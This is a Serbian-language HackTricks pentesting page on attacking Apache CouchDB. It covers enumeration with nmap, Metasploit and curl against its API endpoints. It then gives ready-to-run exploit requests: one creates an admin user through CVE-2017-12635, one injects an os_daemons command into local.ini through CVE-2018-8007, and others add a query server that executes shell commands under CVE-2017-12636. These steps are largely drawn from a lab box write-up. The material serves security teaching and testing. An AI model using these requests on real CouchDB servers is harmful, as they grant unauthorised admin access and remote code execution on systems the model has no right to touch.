18 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
CouchDB je svestrana i moćna baza podataka orijentisana na dokumente koja organizuje podatke koristeći strukturu mapa ključ-vrednost unutar svakog dokumenta. Polja unutar dokumenta mogu biti predstavljena kao ključ/vrednost parovi, liste ili mape, pružajući fleksibilnost u skladištenju i preuzimanju podataka.
Svaki dokument koji se čuva u CouchDB dobija jedinstveni identifikator (_id
) na nivou dokumenta. Pored toga, svaka izmena koja se izvrši i sačuva u bazi podataka dobija broj revizije (_rev
). Ovaj broj revizije omogućava efikasno praćenje i upravljanje promenama, olakšavajući preuzimanje i sinhronizaciju podataka unutar baze podataka.
Podrazumevani port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatska Enumeracija
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Ručna Enumeracija
Baner
curl http://IP:5984/
Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati kao jedan od sledećih:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Napomena da ako prilikom pristupa root-u couchdb dobijete 401 Unauthorized
sa nečim poput: {"error":"unauthorized","reason":"Authentication required."}
nećete moći da pristupite baneru ili bilo kojem drugom kraju.
{% endhint %}
Info Enumeration
Ovo su krajevi gde možete pristupiti sa GET zahtevom i izvući neke zanimljive informacije. Možete pronaći više krajeva i detaljnije opise u couchdb dokumentaciji.
/_active_tasks
Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa./_all_dbs
Vraća listu svih baza podataka u CouchDB instanci./_cluster_setup
Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera./_db_updates
Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka_global_changes
je neophodno za korišćenje ovog kraja./_membership
Prikazuje čvorove koji su deo klastera kaocluster_nodes
. Poljeall_nodes
prikazuje sve čvorove o kojima ovaj čvor zna, uključujući one koji su deo klastera./_scheduler/jobs
Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari./_scheduler/docs
Lista stanja replikacionih dokumenata. Uključuje informacije o svim dokumentima, čak i ucompleted
ifailed
stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Krajnja tačka/_node/{node-name}
može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate/_node/_local
da biste dobili ove informacije./_node/{node-name}/_stats
Resurs_stats
vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string_local
služi kao alias za lokalno ime čvora, tako da se za sve URL-ove statistike,{node-name}
može zameniti sa_local
, da bi se interagovalo sa statistikama lokalnog čvora./_node/{node-name}/_system
Resurs _system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server_._ Možete koristiti ___local
kao {node-name} da dobijete informacije o trenutnom čvoru./_node/{node-name}/_restart
/_up
Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako jemaintenance_mode
true
ilinolb
, krajnja tačka će vratiti 404 odgovor./_uuids
Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance./_reshard
Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.
Zanimljivije informacije mogu se izvući kao što je objašnjeno ovde: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Ako taj zahtev odgovara sa 401 neovlašćen, onda su vam potrebne validne akreditive za pristup bazi podataka:
curl -X GET http://user:password@IP:5984/_all_dbs
Da biste pronašli važeće akreditive, mogli biste pokušati bruteforce the service.
Ovo je primer couchdb odgovora kada imate dovoljno privilegija da listate baze podataka (To je samo lista db-ova):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupajući imenu baze podataka:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista dokumenata
Nabrojte svaki unos unutar baze podataka
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Pročitaj Dokument
Pročitaj sadržaj dokumenta unutar baze podataka:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste napraviti admin korisnika sa kredencijalima hacktricks:hacktricks
sa sledećim zahtevom:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Više informacija o ovoj ranjivosti ovde.
CouchDB RCE
Pregled sigurnosti Erlang kolačića
Primer odavde.
U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na podešavanje klastera (link), raspravlja se o korišćenju portova od strane CouchDB u režimu klastera. Pominje se da, kao u samostalnom režimu, port 5984
se koristi. Pored toga, port 5986
je za lokalne API-je, a što je važno, Erlang zahteva TCP port 4369
za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu gde je svaki čvor međusobno povezan sa svim ostalim čvorovima.
Ključna sigurnosna preporuka se ističe u vezi sa portom 4369
. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju lektiru. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde.
Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini
Primer odavde.
Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na local.ini
datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na local.ini
datoteku u svrhe istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
Prvo, okruženje se priprema osiguravajući da je local.ini
datoteka zapisiva, što se proverava listanjem dozvola:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja cors/origins
konfiguraciju u local.ini
. Ovo ubacuje novu origin zajedno sa dodatnim komandama pod [os_daemons]
sekcijom, sa ciljem izvršavanja proizvoljnog koda:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Kasnija verifikacija pokazuje injektovanu konfiguraciju u local.ini
, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
U početku, očekivana datoteka (/tmp/0xdf
) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:
root@canape:/home/homer/bin# ps aux | grep couch
Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, pokreće se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za zapisivim pristupom local.ini
datoteci. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.
Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: CVE-2018-8007.
Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini
Primer odavde.
Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih referenci na Proof of Concept (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje servera za upite:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Da bi se prilagodila CouchDB verziji 2.0, koristi se novi put:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Dalja istraga je otkrila probleme sa dozvolama za local.ini
datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Kasniji pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija local.ini
datoteke je potvrđena kroz poređenje datoteka:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded server za upite:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A rezime sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. Korisni resursi za eksploataciju ove ranjivosti uključuju:
Shodan
port:5984 couchdb
Reference
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitter-u 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.